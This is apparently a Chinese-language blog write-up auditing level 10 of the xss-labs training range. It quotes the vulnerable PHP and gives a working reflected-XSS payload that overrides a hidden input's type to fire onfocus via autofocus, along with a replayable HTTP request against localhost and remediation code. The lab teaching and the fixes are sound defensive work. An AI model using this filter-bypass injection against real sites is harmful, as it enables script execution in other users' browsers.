xss-labs-level10-代码审计报告

16次阅读
没有评论

xss-labs Level10 代码审计报告

目标文件: level10.php | 漏洞类型: 反射型 XSS —— 隐藏字段属性注入(hidden input 覆盖 type) | CWE: CWE-79 / CWE-80 | 危害等级: 中危
风险路径: GET /level10.php?t_sort=<payload> → <input name="t_sort" value="..." type="hidden">


一、漏洞代码定位

level10.php 第 17-26 行:

$str = $_GET["keyword"];                       // L17 主输入(在 h2 中被转义,安全)
$str11 = $_GET["t_sort"];                      // L18 隐藏参数:真正入口
$str22 = str_replace(">", "", $str11);         // L19 删除 >
$str33 = str_replace("<", "", $str22);         // L20 删除 <
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.$str33.'" type="hidden">   // L25 危险:value 未转义,隐藏字段
</form>
</center>';

漏洞点: L25。t_sort 经过 </> 删除后拼入 type="hidden" 输入的 value 属性,未转义引号。攻击入口不是表面上的 keyword,而是隐藏的 t_sort。


二、漏洞原理

  • keyword 在回显处被 htmlspecialchars 转义,直接注 keyword 无效 —— 真正的注入点是被开发者忽略的隐藏参数 t_sort。
  • </> 被删除,无法注入新标签,但:
    1. value 属性未转义,可用双引号闭合;
    2. 该输入本身是 type="hidden",hidden 元素不可聚焦、不触发 onfocus/onmouseover 等事件,直接注入事件无效;
    3. 关键绕过: 注入的属性在原生 type="hidden" 之前,可用 type="text" 覆盖 hidden 类型(HTML 中重复属性取第一个值),把输入变成可见可聚焦元素,再配合 onfocus + autofocus 自动触发。
  • 已实测: " type="text" onfocus=alert(1) autofocus=" 经 </> 删除后原样保留,可正常注入。

三、利用方式与 Yakit 可重放数据包

Payload(URL 解码后,注入 t_sort 而非 keyword):

?t_sort=" type="text" onfocus=alert(1) autofocus="

渲染结果:

<input name="t_sort" value="" type="text" onfocus=alert(1) autofocus="" type="hidden">

→ 输入框变成 type=text 并 autofocus,聚焦触发 onfocus=alert(1)。

Yakit 可重放原始请求:

GET /level10.php?t_sort=%22%20type=%22text%22%20onfocus=alert(1)%20autofocus=%22 HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0
Accept: text/html
Connection: close

触发方式: 页面加载自动聚焦该输入框 → onfocus 触发 alert(1) → 命中通关逻辑跳转 level11。


四、修复建议

// 服务端:隐藏字段不应由客户端任意指定;用枚举白名单
$t_sort = $_GET["t_sort"] ?? "default";
$allowed = ["asc", "desc", "default"];
$t_sort = in_array($t_sort, $allowed, true) ? $t_sort : "default";

// 输出:无论何种字段,进入 value 一律 ENT_QUOTES 转义
$safe = htmlspecialchars($t_sort, ENT_QUOTES, 'UTF-8');
echo '<input name="t_sort"  value="'.$safe.'" type="hidden">';

要点:

  1. 隐藏字段输入必须校验(枚举/白名单),它们和可见输入一样可达、常被开发者忽略 —— 本关即典型。
  2. 输出编码 ENT_QUOTES。
  3. 不要在页面里输出"用户可控的隐藏字段"用于服务端逻辑;若必用,服务端以会话/服务端数据为准。

五、备注

  • 本关 3 个隐藏输入(t_link/t_history/t_sort)只有 t_sort 是回显注入点,审计时需逐个排查每个输出点,而非只看主参数。
  • 该"覆盖 type 触发事件"技巧对 Level11/12/13 的隐藏字段注入同样适用(它们分别从 Referer / UA / Cookie 取数)。
正文完
 0